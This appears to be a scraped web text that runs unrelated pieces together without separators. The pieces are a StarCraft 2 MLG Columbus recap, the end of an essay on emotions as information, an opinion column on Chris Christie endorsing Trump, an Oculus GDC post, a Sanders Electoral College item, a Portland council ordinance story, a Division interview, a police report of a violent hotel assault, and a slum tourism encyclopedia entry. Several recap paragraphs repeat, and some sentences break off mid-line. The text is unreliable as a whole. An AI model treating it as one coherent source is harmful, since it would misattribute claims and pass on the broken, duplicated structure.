be very disruptive. Just as vultures could massacre a probe line in seconds, eight marines can bring a stunning amount of DPS to bear against drones, tech, or a hatchery. Moreover, simultaneous MM-drops are surprisingly efficient uses of two medivacs and eight marines at the most basic cost-benefit level. Compared with TvP, medivacs are more expendable in TvZ, and their primary use is often to pick up marines from lost ground battles than it is to actually make a difference with in-battle healing like they are against a protoss army. Marines, as well, can be lost cheaply in drops, as terran can, and expects lose some of them easily anyway to banelings. Additionally as MKP demonstrated last year, marines are cost effective in virtually any setting, so using them in groups of eight as opposed to groups of twenty or thirty isn't going to greatly diminish their usefulness, especially in surgical base raiding. In comparison using groups of two tanks or four stalkers is obviously idiotic when you can mass them for much greater effect.Marines and medivacs are expendable, and even more expendable in TvZ than in other match-ups. Terrans usually do not have to make vikings or marauders until much later stages of the game, which means that cheaply lost marines and medivacs always have replacements already in production. The advantages one or two drops can cause in a game is disproportionate to their worth. It's like if the three point line in basketball became a five point line. Sure you might miss a little more often from the new line, but would anyone ever shoot a two point shot?Even more that with just the hard math, MM-drops show their worth with a whole host of intangibles. If one drop pulls the entire zerg army over to one side of the map, or even just divert the zerg's attention, than it can buy time for the second drop to kill a spawning pool, snipe an expansion or assassinate a wealth of drones. This means that MMA's drops as a whole wind up being cost effective in a way that one drop or two drops could not be. Most terran players make drops only when they are behind, or at highly predictable timings when their first medivacs come out. MMA's drop play is predictable only in the sense that it will happen. But after defending one drop, there is no guarentee of later safety. After passing one particular timing, there is no reason to let down your guard. MMA's drop play is simply more effective because it happens more often, and largely regardless of situation. MMA's drop play actually creates a climate of fear that prevents zerg from running free.The proof is in the pudding. A critical snipe of a spawning pool (Typhon Peaks), a drone massacre (Shattered Temple), some time wasting overlord sniping (Metalopolis), all contributed to MMA's overall victory in a way that eight, sixteen, twenty four, or even more marines really couldn't. MMA's drops pay for themselves in more than just minerals and gas. They buy time and allow for a faster expansion. They distract and confuse the zerg. They set the stage for phantom drops, or for real pushes. They allow terran to sieze control of the game from an agressive low-tech zerg. When you have macro like MMA and you're facing an opponent the level of LosirA, these things matter. That's the critical insight that fantasy's vulture play abused in BW, and that MMA's non-stop drop play has brought to Sc2.Even with proper appreciation for the glory that is MMA's TvZ, it's difficult to believe that he can keep this up forever. Fantasy's vulture play has been slowly deflected as protoss BW players have become more adept at the predictive skills needed to defend it. So too will Sc2 zergs regain the multi-tasking ability they seem to have leeched after months in Sc2. MMA's drop play is far from undefendable, and there's no reason that a spine crawler and a transfuse, or a spore crawler and pre-placed banelings can't shut down MMA's play. Or perhaps a healthy dose of all-in ling aggression—LosirA's preferred remedy—will force MMA into a more defensive posture. But for the moment, the advantage lies with the terran and those who are quick enough to press the boundaries of Sc2's micro and multitask.And in that vein, MMA's win and MLG in general was wonderful for thousands of fans as well as this writer. This is in large part because Sc2's is changing from a maxed-army, ball vs ball standard of play into something more dynamic. And a small piece of that change occurred before our eyes last weekend. It was a great thing to see.
The Gracken promised to stay longer in games.
MMA swept MLG Columbus without dropping even one series. However, his 18-2 record was not as dominant as it seems on paper: MMA’s best matchup is TvZ by a far, and he only faced two non-Zerg opponents all weekend. But man, when he played that TvZ, he played it well. Tree.hugger explains. EG.IdrA
Idra was the center of attention again, this time for
It was a wasted opportunity to seize momentum in the series and break the Korean stranglehold on the podium. Nobody wanted the invites to fly in and easily plow through MLG, and almost everyone was hoping for Idra to beat MMA and set up an epic finals rematch with MC. It’s a pity, because this particular moment took the spotlight from Idra’s excellent play from the group stages of the tournament.
djWHEAT and Day9 after IdrA GGs against MMA.
Thus far we’ve seen two versions of Greg Fields: the confident, brilliant Idra that looks almost unstoppable when winning, and the uncomfortable, self-defeating Idra when losing. If only Idra was capable of playing up to his potential every game, and believe in his ability to overcome whatever racial imbalances he conjures up in his mind, then we may have seen a very different MLG Columbus top 3.
It was still a positive tournament for Idra. He came tantalizingly close to breaking through to the finals. And whether it was a new setting or a new girlfriend, Idra looked genuinely happy throughout most of the weekend. It’s all within his control, and we’ll see if he can finally seize the opportunity at Anaheim.
"APM? I don't care about no APM."
Idra was the center of attention again, this time for leaving a game early. Idra is known for GG’ing early in games, but this was the first time he’s done it when he was actually in the lead. Day9, djWHEAT, the crowd, and even MMA couldn’t believe it. Five seconds earlier, Idra fans were celebrating his mutalisks breaking MMA’s tank push. Then it happened, and for a few seconds the crowd reacted as if MMA left. As they realized, the sound and energy was sucked out of the room, as the crowd laughed nervously at Day9’s confused expression. The replay confirmed it: Idra was ahead in drones, supply, and was even winning the battle when he inexplicably left.It was a wasted opportunity to seize momentum in the series and break the Korean stranglehold on the podium. Nobody wanted the invites to fly in and easily plow through MLG, and almost everyone was hoping for Idra to beat MMA and set up an epic finals rematch with MC. It’s a pity, because this particular moment took the spotlight from Idra’s excellent play from the group stages of the tournament.Thus far we’ve seen two versions of Greg Fields: the confident, brilliant Idra that looks almost unstoppable when winning, and the uncomfortable, self-defeating Idra when losing. If only Idra was capable of playing up to his potential every game, and believe in his ability to overcome whatever racial imbalances he conjures up in his mind, then we may have seen a very different MLG Columbus top 3.It was still a positive tournament for Idra. He came tantalizingly close to breaking through to the finals. And whether it was a new setting or a new girlfriend, Idra looked genuinely happy throughout most of the weekend. It’s all within his control, and we’ll see if he can finally seize the opportunity at Anaheim. Korean Zergs
Losira’s quiet, happy-silly demeanor contrasted sharply with how he played. The first time we stood behind Losira and
For all his success in WarCraft 3, Moon was regarded as the weakest of the four Korean invites. MC, Losira, and July are Code S, and MMA is Code A. Moon was unable to qualify for even Code A last season, and unfortunately the MLG-GSL exchange program would have really helped him if it wasn’t giving Code A seeds to only non-Koreans. Eighth place is an acceptable result for someone who admittedly doesn’t even play SC2 fulltime yet, but we should expect more out of Moon. TL Admin and head writer Waxangel had Moon sign his forehead. Why? “Forehead is reserved for best WarCraft 3 player ever.” We’re just waiting for the real Moon to show up. Until then, at least we can enjoy some
"I'll be back next month."
And last but not least, there was one more invite and he had to go through Open. I remember watching a Zerg in Brood War who did more damage with lower tier units than anyone in the history of real time strategy games. I remember watching him 4-pool and drone drill his way to a Golden Mouse. And now, I’ll remember him winning four games in less than 25 minutes total at MLG Columbus. It was a surreal experience seeing him exist in person, playing games right in front of me instead of in a tiny screen while commentators I couldn’t understand yelled in the background. It didn’t really sink in until I saw him and Milkis eating in the food court. I plopped myself down next to them and said, “TUSHIN” to which July smiled and nodded. I said, "you beat Goodfriend on Forte back in 2005, I remembered that game." July did too.
We all wish July finished higher at Columbus, but the open bracket is not an easy beast for an old man progaming veteran like him, who at age 24 has been ordering zerglings and mutas to attack for almost a decade now. But the bigger reason was it just wasn’t the right time of year. July made it to five Ongamenet Starleague Finals during his nine year Brood War career, winning three of them. The OSL is held multiple times a year, but all three of July’s wins have come in the month of July. The dates for MLG Anaheim are July 28-31. You may see coincidence, but for July, I see
The MLG Dallas champion put forth a good fight, but danced a little too early against MC.
Losira’s quiet, happy-silly demeanor contrasted sharply with how he played. The first time we stood behind Losira and watched him, we just looked at each other and laughed. “Does he have some special speed setting enabled?” It came as no surprise that this kid was a skilled pianist. His hands were a blur across the keyboard, so fast it was absurd. We had never seen an international Zerg play SC2 in person this way. It seemed like a different game, all speed and instinct and reflexes rolled into one. Losira seemed the personification of his hands, a force of nature more than a person. The “urban legend” of MLG Columbus involved a malfunctioning keyboard and Losira playing against Incontrol with 185 mouse only APM.For all his success in WarCraft 3, Moon was regarded as the weakest of the four Korean invites. MC, Losira, and July are Code S, and MMA is Code A. Moon was unable to qualify for even Code A last season, and unfortunately the MLG-GSL exchange program would have really helped him if it wasn’t giving Code A seeds to only non-Koreans. Eighth place is an acceptable result for someone who admittedly doesn’t even play SC2 fulltime yet, but we should expect more out of Moon. TL Admin and head writer Waxangel had Moon sign his forehead. Why? “Forehead is reserved for best WarCraft 3 player ever.” We’re just waiting for the real Moon to show up. Until then, at least we can enjoy some epic baneling landmines And last but not least, there was one more invite and he had to go through Open. I remember watching a Zerg in Brood War who did more damage with lower tier units than anyone in the history of real time strategy games. I remember watching him 4-pool and drone drill his way to a Golden Mouse. And now, I’ll remember him winning four games in less than 25 minutes total at MLG Columbus. It was a surreal experience seeing him exist in person, playing games right in front of me instead of in a tiny screen while commentators I couldn’t understand yelled in the background. It didn’t really sink in until I saw him and Milkis eating in the food court. I plopped myself down next to them and said, “TUSHIN” to which July smiled and nodded. I said, "you beat Goodfriend on Forte back in 2005, I remembered that game." July did too.We all wish July finished higher at Columbus, but the open bracket is not an easy beast for an old man progaming veteran like him, who at age 24 has been ordering zerglings and mutas to attack for almost a decade now. But the bigger reason was it just wasn’t the right time of year. July made it to five Ongamenet Starleague Finals during his nine year Brood War career, winning three of them. The OSL is held multiple times a year, but all three of July’s wins have come in the month of July. The dates for MLG Anaheim are July 28-31. You may see, but for July, I see providence Scanner Sweeps
Many of you may not have noticed, but other players had success despite not finishing on the podium. Slush and Ret finished 5th and 7th, and were among the five Zergs to place in the Top 8. FXO.Sheth and Liquid`HayprO played well in group stages, finishing just behind the Koreans in groups and placing in the Top 16. Naniwa turned in another strong showing by finishing 6th despite his ill-advised zealot dance of death. In the Open Bracket, Sixjax.Major made a great debut, blowing through his bracket with dancing marines and victory MULEs. Meanwhile, Fnatic.Fenix ran a gauntlet of Zerg players to qualify as well. The four Open qualifiers would go on to finish 9th (Thorzain), 11th (Fenix), 12th (July), and 16th (Major).
All of these guys were somewhat overshadowed by the drama and spectacle of the main stage matches, but these results were excellent for the players clawing through Open to make their MLG debuts, and quite important as well for those looking to grind ranking points and earn seeding position for Anaheim and Raleigh. It may not be flashy, but consistency is rewarded in this MLG format.
Satellite truck does not allow me to troll it.
Many of you may not have noticed, but other players had success despite not finishing on the podium. Slush and Ret finished 5th and 7th, and were among the five Zergs to place in the Top 8. FXO.Sheth and Liquid`HayprO played well in group stages, finishing just behind the Koreans in groups and placing in the Top 16. Naniwa turned in another strong showing by finishing 6th despite his ill-advised zealot dance of death. In the Open Bracket, Sixjax.Major made a great debut, blowing through his bracket with dancing marines and victory MULEs. Meanwhile, Fnatic.Fenix ran a gauntlet of Zerg players to qualify as well. The four Open qualifiers would go on to finish 9th (Thorzain), 11th (Fenix), 12th (July), and 16th (Major).All of these guys were somewhat overshadowed by the drama and spectacle of the main stage matches, but these results were excellent for the players clawing through Open to make their MLG debuts, and quite important as well for those looking to grind ranking points and earn seeding position for Anaheim and Raleigh. It may not be flashy, but consistency is rewarded in this MLG format. Raising the Bar
The ubiquitous emotion at the end of a tournament final by event crew and staff is, without a doubt, relief. But somewhere between tiny lag spikes and the crowd chanting MMA, the emotions changed from relief to celebration. Ever since Dallas this was MLG’s moment. They heaped an almost unreasonable amount of pressure on themselves to execute this event. MLG and MC had parallel storylines. Dallas was their group stage, Columbus their extended series. MLG called their 4-0, and like MC, they backed it up.
A bracket with two hundred and seventy players is not easy. Fans tend to see the front guys like Tastosis or Wheat or Day, but what makes the tournament tick are the league operations guys like John and Adam and Ryan and the referees on the floor. For three long days, the MLG staff worked until that bitter Dallas aftertaste was gone.
It’s not that nothing went wrong or there were no problems. The Koreans could have flown in earlier. The lag could have been minimized. There should be less downtime between matches. Players should be informed of their schedules better. There definitely should have been more chairs. But all these are minor issues. The stream worked, the competition ran smoothly. All it took were some siege mode satellite trucks that survived all sorts of natural disasters. That and luck. Always some luck. After Dallas, the universe owed MLG some lucky breaks.
But sometimes, you can create your own luck. Bomber missing his flight actually turned out to be a blessing in disguise, and MLG gets all the credit for flying in MC at the last minute. Because of the booths and Koreans and casters and everything, MLG created an event that everyone in the community was rooting for. The brief, scary lag
|
might stop you from feeling even worse.
Edited to add: Of course, it's also possible to use this view for self-deception. Maybe we're deceiving ourselves about how our lives are going, and that self-deception will persist if we try to examine it while in a neutral emotional state. Perhaps it is only when we fail badly enough to get a strong negative emotion that the barriers of self-deception break, and we will be mistaken to dismiss our thoughts in those states because they don't seem reasonable in other emotional states. When you use this technique, be careful to make sure that you are actually genuinely curious about what your emotions are telling you. Don't just come up with excuses for ignoring them, ask whether you should ignore them or listen to them.
References
1: Clore, G.L. & Gasper, K., & Garvin, E. (2001). Affect as information. In J.P. Forgas (Ed.), Handbook of affect and social cognition (pp. 121–144). Mahwah, NJ: Erlbaum.
2: Schwarz, N. (2010) Feelings as information. In Van Lange, P. & Kruglanski, A. & Higgins, E.T. (Eds.), Handbook of theories of social psychology, Sange.
3: Kahneman, D. & Lovallo, D. (1993) Timid Choices and Bold Forecasts: A Cognitive Perspective on Risk Taking. Management Science, vol. 39, no. 1.Chris Christie, who ran for president on the sober promise to "tell it like it is" and whose campaign was built around the urgency of entitlement reform and restoring U.S. national security, on Friday endorsed Donald Trump, a national security ignoramus who is running for president adamantly opposed to any serious entitlement reform and whose campaign is built around outrage and egesta.
It's a development that is important, stunning and unsurprising.
Important: The timing of Christie's endorsement was perfect for Trump. The candidate running on strength had been thoroughly emasculated by Marco Rubio and Ted Cruz at the debate in Houston on Thursday. Rubio highlighted his hypocrisy on hiring non-American workers, an attack that left Trump nonplussed during the debate and spinning hard afterwards. Trump defended himself by arguing, a) that he couldn't possibly have known what the Trump bureaucracy had done in its hiring practices, and, b) he had to hire non-Americans because he couldn't find Americans who would do those jobs.
When Cruz pushed Trump on his announced neutrality in the Israel-Palestinian conflict and asked what Trump had done for Israel, Trump noted that he'd marched in pro-Israel parades and received awards from Jewish groups. If Trump were not beyond embarrassment, it would have been a thoroughly humiliating performance. The ridiculing of Trump continued into Friday, with Rubio reading Trump's juvenile tweets during a speech.
Enter Christie. Just as the post-debate narrative focused on Trump in a way that undermined his core attribute – strength – Christie's endorsement not only changed the subject but was itself a sign of Trump's strength.
Most significantly, Christie's endorsement gives Trump legitimacy that he'd previously lacked – and again, the timing was important. The objective of the Rubio attacks, in particular, was to undermine Trump's strength and portray him as an illegitimate, phony leader. Translated: Trump might appear to you as a strong man and a potential leader but he is neither.
In exit polls, Trump has done well with voters who have decided whom to support more than a month out – often winning more of half of those voters -- and he has dominated among voters whose top candidate quality is "telling it like it is." But with the exception of New Hampshire and the aftermath of Rubio's debate, he has lost badly among late-deciders. The endorsement by Christie, whose campaign slogan was "telling it like it is," could win him second-looks from voters who had previously been inclined to dismiss him as unserious.
Stunning: Christie's endorsement of Trump certainly shocked the political world on Friday both because it hadn't leaked in advance and because it so directly contradicted the main themes of Christie's campaign. Christie's case to voters was a simple one: We are in perilous times, facing crises that demand responses from serious leaders who will speak about our challenges with urgency and candor. His campaign focused on national security and the entitlements that are driving the country further and further into debt.
Christie has spent years blasting politicians – Republicans and Democrats – for ignoring the entitlement crisis, accusing them of lacking the will to tackle hard problems. In a speech on entitlement reform last April, Christie said the Obama administration "has put us on a perilous course for both our short-terms and long-term futures" because of its "unwillingness to address our biggest challenges in an honest way" and its refusal to "tell the truth about what we need to do in order to solve our problems." Trump's approach to entitlements is indistinguishable from Obama's.
Christie strongly defended George W. Bush and the policies that kept America "safe for those seven years." His campaign promised to restore most of them. Writing in Slate in December, Jim Newell wrote under the headline, "The Dream of the George W. Bush Presidency is Alive in Chris Christie." He wrote: "There is a fourth Bush running for president now, and his name is Chris Christie… Christie sounds more like a George W. Bush–era Republican than even Jeb Bush, and Jeb Bush sounds exactly like a George W. Bush–era Republican."
With his endorsement of Trump, Christie has chosen to support a man who: a) believes that George W. Bush should have been impeached, b) believes that Bush and his colleagues deliberately lied to take the country into an illegitimate war, c) has propagated unfounded conspiracy theories about 9/11 and its aftermath. (Given Trump's false claims that "thousands" of New Jersey residents celebrated those attacks in the streets, Christie is embracing a man who has slandered the residents of his own state, a particularly disgraceful reality).
Christie further argued one of the top priorities of any new administration would be restoring a proper understanding of allies and enemies – and treating them accordingly. "Our willingness to stand with those who share our values and interests," Christie says, "defines us as a country." He adds: "We need to make it clear to our friends and allies that we stand with them in the cause of freedom, and against all the gathering threats."
The same man who said these things endorsed Trump just days after Trump literally announced that he would not stand with Israel in the cause of freedom and against the gathering threats. Trump said he would remain "neutral" between Israel, one of America's closest allies, and the Palestinians who have embraced terror as a legitimate tool against this ally.
Trump, of course, has aligned himself with Bashar Assad and praised Saddam Hussein as someone who liked to kill terrorists. Trump has also openly defended and praised Vladimir Putin, whom General Joseph Dunford, chairman of the Joint Chiefs of Staff, has said presents the greatest threat to the United States, its interests, and allies. Trump's resolve on even the least controversial aspects of the war against jihadists -- not how to fight ISIS but whether to do so -- has corresponded with the prevailing sentiments of the day. In a September debate, he said we shouldn't be fighting ISIS. He later said we should "bomb the shit out of them."
Christie ran as the candidate who would finally bring a level of seriousness and urgency to national security and entitlements, what he described as our most pressing national problems. With his endorsement of Trump, Christie has embraced a candidate who knows very little about these issues and whose public pronouncements on them contradict virtually everything Christie emphasized during his unsuccessful presidential run.
Unsurprising: In retrospect, Chris Christie's endorsement of Trump should have been obvious. Christie had made clear over his long career that his long career was never so much about issues and policies as it was about Chris Christie. He would "tell it like it is" only insofar as doing so advanced Chris Christie.
This is the guy who came to Washington, D.C., in February 2011, to thunder about the timidity and weakness of Republicans who refused to reform entitlements, and then chose to grow entitlements as governor of New Jersey. He's the guy who declared in that speech that failing to reform Medicaid would lead to the "ruin" of the country and later chose to expand the program as he sought reelection. He called this Medicaid expansion under Obamacare "extortion" by the federal government and then eagerly agreed to be extorted.
This is the guy who endorsed Mitt Romney for president in the fall of 2011, shortly after announcing he wouldn't be running himself, and then demanded that the Romney campaign treat him like he was the candidate himself. When Romney offered Christie the most-desired speaking slot at the 2012 Republican National Convention, Christie used it to talk extensively about himself (more than three dozen uses of "I") and to tout the GOP nominee almost in passing (seven mentions).
This is the guy who urged the Senate to confirm Sonia Sotomayor as a Supreme Court Justice when he was running as a moderate for governor of New Jersey in 2009 but pretended he didn't when he was running as a conservative for president in 2016. When asked about his previous support, Christie offered a categorical denial: "I didn't voice support for Sonia Sotomayor." But a statement from his office at the time was unambiguous. "I support her appointment to the Supreme Court and urge the Senate to keep politics out of the process and confirm her nomination. Qualified appointees should be confirmed and deserve bi-partisan support. Chief Justice Roberts and Justice Alito deserved that support based on their work as Circuit Court Judges. So does Judge Sotomayor. As a result, I support her confirmation."
When I asked him about this last month, Christie first claimed that the two claims didn't contradict one another. Then, when I read his words back to him, he pretended that he'd just meant she deserved an up-or-down vote. When I read them to him yet again, he pointed to two different statements that had been released in his name. And then, when I read them to him a fourth time, he said: " I don't know where that statement comes from."
So, it shouldn't have been surprising that this man who claimed to "tell it like it is" was, like so many other politicians, full of it.
Throughout the course of his campaign, Christie often lamented the lack of seriousness and judgment that Trump had brought to the Republican competition.
At a town hall last summer, Christie said Trump's business skills were not "transferable" to politics and worried that Trump's authoritarian impulses would keep him from accomplishing anything if he were to win. Trump lacks the ability to deal with people who disagree with him, Christie argued. "You have to have some experience in knowing how to deal with people in that way. And he has not shown that over the course of his career," Christie added. Christie made clear that this wasn't an accidental claim or a throwaway campaign line. When his questioner challenged Christie's claim about Trump, Christie gave up trying to persuade her otherwise, saying theirs was a " fundamental disagreement" and that she was welcome to vote for Trump.
Just a couple weeks ago, after he'd withdrawn from the race, Christie told a newspaper that he would never support Donald Trump. The businessman was simply not serious enough to merit his backing.
"Show time is over," Christie had said in December. "We're not casting a TV show. This is real."
The show goes on. And like so many things that have passed the lips of Chris Christie over the years, he didn't mean what he said. So file those words alongside his arguments about the urgency of entitlement reform and his condemnation of Medicaid expansion as extortion. Or place those words between the ones he spoke about standing-by-allies and George W. Bush keeping the country safe.
Christie once lamented that Trump's election would " hurt the credibility of the presidency." He was right. And his willingness to endorse Trump anyway shreds the credibility of Chris Christie.
Maybe, if voters think about these things, Christie's endorsement of Trump won't end up being terribly important. It's little more than a politician with a long history of phony candor offering his support to pseudo outsider who long ago mastered the politician's art of rhetorical feculence.GDC is next week, and we want to give devs and fans a rundown of our plans for the show. This year’s attendance is expected to top 27K game designers, developers, and more. With an amazing lineup of 500+ conference sessions—including over 50 talks devoted to VR, plus dedicated programming through VRDC—GDC has something for everyone. We can’t wait to hit the show floor!
Demo Details and Expo Extras
Be sure to visit us in the North Hall, Booth 1014! We’re hosting a daily meet-and-greet with Oculus co-founders, content leads, and our Developer Relations team during the expo from 2:00 – 3:00 pm. Stop by to talk shop, share feedback, or just discuss the state of VR gaming.
We’ve got some action-packed games to demo for Rift and Touch. Battle the Zed horde in Killing Floor: Incursion from Tripwire, and mow down waves of rogue robots in Epic’s much-anticipated Robo Recall.
On the mobile front, we’re showcasing fan favorites for Gear VR.
Engage in multiplayer deep-space battles with Anshar Wars 2 from OZWE, slay zombies with an array of weapons in Pixel Toys’ Drop Dead, rattle your nerves with jump scares courtesy of Face Your Fears from Turtle Rock Studios, and tear up the countertop in Codemasters’ Micro Machines VR Racing.
We’ve also partnered with Epic Games and NVIDIA to host a daily Robo Recall high score competition, so you can test your skills against the game industry’s best and brightest. Swing by any of our booths to participate—or just to score some swag.
Timely Talks and Powerhouse Panels
For those of you with conference passes, here’s a breakdown of where you can catch Oculus across the various GDC content tracks and VRDC:
February 28
March 1
March 2
For more information and a full schedule, please visit gdconf.com.
See You at the Show
We hope you’ll visit us in Booth 1014. Can’t make it to GDC? Be sure to like us on Facebook, follow us on Twitter, and check back here on the blog for some exciting news next week!
— The Oculus TeamUS Senator Bernie Sanders has called for changing the Electoral College, in the wake of the electors' overwhelming vote to seal President-elect Donald Trump’s November 8 victory.
Presidential electors gave Trump 304 votes as they reconvened to cast their ballots on Monday, 34 votes more than the 270-vote threshold he needed to secure the presidency.
Trump’s Democratic rival Hillary Clinton won 227 votes, despite winning the popular vote by a margin of more than 2.5 million.
“We need to change the Electoral College,” tweeted Sanders, who ran a strong campaign against Clinton for the Democratic nomination.
“Trump received 2.5 million fewer votes than Clinton, yet he'll soon be president. Clearly, in a democratic society, this shouldn't happen,” he fumed in a second tweet.
This was not the first time that the Vermont senator was questioning the American way of electing a president into office.
Following Trump’s surprise victory against Clinton, Sanders told CNN that the process was “unfair” and “on the surface a little bit weird” because the former secretary of state was ahead in the popular vote.
“And then what ends up happening is campaigns are basically about 16, 17 states, battleground states, in this country, and I think that's unfair to the other 30-plus states that would also like to be part of the political process,” he said at the time.
Meanwhile, The New York Times, which had officially endorsed Clinton, echoed the senator’s views in an editorial titled “Time to End the Electoral College.”
Donald Trump (L) listens to Hillary Clinton in a pre-election debate.
The Election Day results pointed to a 306-232 win for Trump in the Electoral College.
The projection was engulfed in doubt when some presidential electors started an insider effort to convince other members to break away from Trump and reduce his votes to beneath the required threshold.
However, it was the Clinton camp that saw the most defections as three electors opted for former secretary of state Collin Powell. Sanders and Native American leader Faith Spotted Eagle also received one vote each.
The vote came as Democrats, including President Barack Obama, alleged that Trump had won the White House through Russian support, an allegation denied by both Moscow and the Trump campaign.The City Will Ask a Skeptical Judge to Agree with Its New Meeting Exclusion Policy
Protesters swarm City Hall in October, railing against a City Council vote on a new police contract. Dirk VanderHart
In coming weeks, the city plans to file a motion before US District Judge Michael Simon asking him to enshrine a controversial ordinance that allows people to be banned from City Council meetings for months.
The could be a tough sell. After all, Simon is the judge who in 2015 lambasted the city's practice of excluding disruptive meeting attendees for a month or more, saying it was a violation of constitutional rights to ban "prospective" disruption.
Which might be what Mayor Ted Wheeler is counting on. If Simon says the city's new ordinance is still unconstitutional, the city plans to appeal to the Ninth Circuit Court of Appeals.
"That's then a lengthy legal process," Michael Cox, Wheeler's chief spokesperson, said this morning.
The upshot: It's unlikely Portland's increasingly hectic City Council meetings will see an exclusion for some time. Rather, Wheeler's people say the mayor will likely start ejecting people who disrupt proceedings—a process which under Hales frequently led to council chambers being cleared, and sometimes involved arrest.
News of the city's plan to file a motion before Simon is the first glimpse we've had of officials' plans for moving the law forward. It passed yesterday unanimously. Wheeler conceded at the time that his proposal might not be constitutional, and said the city would get a federal court to weigh in before enforcement could begin.
That left opponents at the ACLU of Oregon scratching their heads. They didn't see a way for the city to get a court's opinion without enforcing the law, and so inciting a courting challenge. But Wheeler's folks say that's not necessary.
Cox and the mayor's deputy chief of staff, Kristin Dennis, believe the city's under an ongoing injunction not to exclude people, following Simon's December 2015 ruling in the case of Joe Walsh, who sued after Hales excluded him for disruption.
"We're asking the court to set aside the permanent injunction which is now in place," Cox says. "There’s no other way to get around the injunction and we don't want to be in contempt of court."
The city will file the motion at some point after the law goes into effect in 29 days, he says.
Dennis tells the Mercury she thinks there's a chance Simon will validate the city's ordinance, though he came out strongly against the old exclusion policy. The new ordinance largely mirrors that policy, but better codifies how a person can be ejected or excluded, and sets a ceiling of 60 days on exclusions.
“I think he left the door open for us to come back with a more narrowly tailored ordinance," Dennis says.
The ACLU, meanwhile has repeatedly said the city's ordinance flies in the face of Simon's earlier ruling.We interview Magnus Jansén, creative director of Tom Clancy’s The Division, about his decision to leave splitscreen out of his co-op focused RPG shooter.
Split screen gaming is not in a good place at the moment. At least, not with the major publishers. When you have titles like Halo, which has championed couch multiplayer for well over a decade, removing the mode in favour of drop-in, drop-out co-op, then you know there is a problem. Developers haven’t quite worked out how to wield this new generation of consoles just yet, and split screen requires a sacrifice in frame rate and detail most are unwilling to make.
The problem is, same couch co-op gaming is incredibly fun. It’s less a mode and more a culture, and those who like splitscreen truly love it.
Buy The Division on PS4 Amazon AU View details Buy The Division on Xbox One Amazon AU View details
We recently spoke at length with Halo’s design director Kevin Franklin about this very subject, so recently took the opportunity to also confront Ubisoft Massive’s creative director Magnus Jansén about its absence in his new game.
The Division, as a squad-based RPG shooter, is ripe for couch co-op, but only drop-in, drop-out is offered with friends (or complete strangers). Here is what he had to say about the current state of splitscreen gaming, and the decision not to offer it in The Division.
Magnus Jansén Magnus Jansén is the current Creative Director and former Lead Designer at Massive Studios, a Ubisoft owned development team.
Jansén worked on Far Cry 3, which featured a splitscreen mode.
Jansén cites the "progression nature of the game" as being one of the main reasons splitscreen multiplayer was not included in The Division. “As a gamer, so not talking specifically about The Division, I think there is a special type of fun to be had with splitscreen, so obviously whenever that is possible I think it’s a good thing to include. The previous game we worked on was Far Cry 3, and that had splitscreen, so let me assure you I am a big champion for the mode.” “One of the biggest reasons why there is nothing like that in The Division is because of the progression nature of the game. Being able to seamlessly move from single, to co-op, to online with the same character that you are always improving, is something that you want to do on your own. You don’t want to be tied to whenever another player wants to quit.” You don’t want to be tied to whenever another player wants to quit. “In your classic splitscreen experience, there is a defined challenge to overcome, whether it be racing a lap around a circuit or completing a mission. But the challenge in The Division is always ongoing; there is always something to do in the open world. There’s a new mission, or new people to group up with, so you never stop playing. So having your co-op friends able to just drop-in, but when they need to go off and do their thing you can continue playing, is good as you are not bound to them. I think that suits The Division. It’s such a constantly ongoing experience, that when tying you to someone else, splitscreen just makes it messy.” “But there are also obviously technical reasons. For example, how much can we put on the screen when you move into the Dark Zone and run into other people? There’s also issues when online in regards to profiles, as well as rendering. So while I like splitscreen and it would have been really good to do, we were unable to do it for this game.”
Our Take
We appreciate Jansén’s view on why co-op did not fit with The Division. His parting line suggests that it was more a technological hurdle that couldn’t be overcome. In the perfect world, you could provide the option and let the player decide how they want to engage in the world – perhaps using cloud-based profile hosting to ensure that you and your friends can progress the same character together or apart. Perhaps that could be a feature in The Division 2?Mark Skaggs, 33, of Anstede, W. Va. (Colonie Police Department) Mark Skaggs, 33, of Anstede, W. Va. (Colonie Police Department) Buy photo Image 1 of / 5 Caption Close Cops: Construction worker tortured in Colonie hotel 1 / 5 Back to Gallery
Colonie
Four out-of-state construction workers tortured a co-worker for hours inside a Days Inn, punching, kicking, stabbing and biting him in an attack that left much of his body — including his penis — covered in cuts that required hospitalization, Colonie police said.
The four men were arrested after the Sunday night attack at the hotel on Airport Park Boulevard in Latham.
The victim remains in Albany Medical Center Hospital, police Lt. Robert Winn said Friday.
"He was assaulted by these four, who were using not only their fists and feet — which were clad with construction boots — but also with a knife, and also bite wounds all over his body," said Winn. "The victim sustained lacerations and puncture wounds to his face, head, chest, torso, hands, arms, and back. He also had bite marks on his face, hand, back and penis. He sustained fractures to his face, left forearm, and right ankle."
The accused men and the victim all work for Carlyle Construction Bowersville, Ga. and were working on a mausoleum at the Most Holy Redeemer Cemetery in Niskayuna, which is owned by the Roman Catholic Diocese.
In a statement, the diocese said the general contractor, Minnesota-based Coldspring Granite Co., brought in Carlyle as a subcontractor, and "Albany Diocesan cemeteries has no contractual, legal or supervisory involvement with this subcontractor."
On Sunday night, police received a call from the victim's girlfriend, who believed her boyfriend was being held captive by four co-workers.
Officers arrived on scene to find the victim severely injured, according to Winn.
Mark Skaggs, 33, of Anstede, W. Va., Shane "Chong" McCallister, 29, of Mount Lookout, W. Va., Dallas Fox, 43, of Hickory, N.C., and Michael Grimmett, 32, of Ansted, Va., were arrested at the Days Inn that night and charged with second-degree assault. On Wednesday, they were charged with felony gang assault.
Winn said that more charges, including kidnapping, are pending.
[email protected] • 518-454-5414 • @JakeLahut"Slumming" redirects here. For the 2006 film, see Slumming (film)
Slum tourism, or ghetto tourism is a type of tourism that involves visiting impoverished areas. Originally focused on the slums of London and Manhattan in the 19th century, slum tourism is now becoming increasingly prominent in many places, including South Africa, India, Brazil, Poland, Kenya, Philippines, United States, and others.[1][2][3]
History [ edit ]
The Oxford English Dictionary dates the first use of the word slumming to 1884. In London, people visited slum neighborhoods such as Whitechapel or Shoreditch in order to observe life in this situation. By 1884 wealthier people in New York City began to visit the Bowery and the Five Points area of the Lower East Side, neighborhoods of poor immigrants, to see "how the other half lives".[4]
In the 1980s in South Africa, black residents organized township tours to educate the whites in local governments on how the black population lived. Such tours attracted international tourists, who wanted to learn more about apartheid.[5]
In the mid-1990s, international tours began to be organized with destinations in the most disadvantaged areas of developing nations, often known as slums. They have grown in popularity, and are often run and advertised by professional companies. In Cape Town, for example, upwards of 300,000 tourists visit the city each year to view the slums.[6]
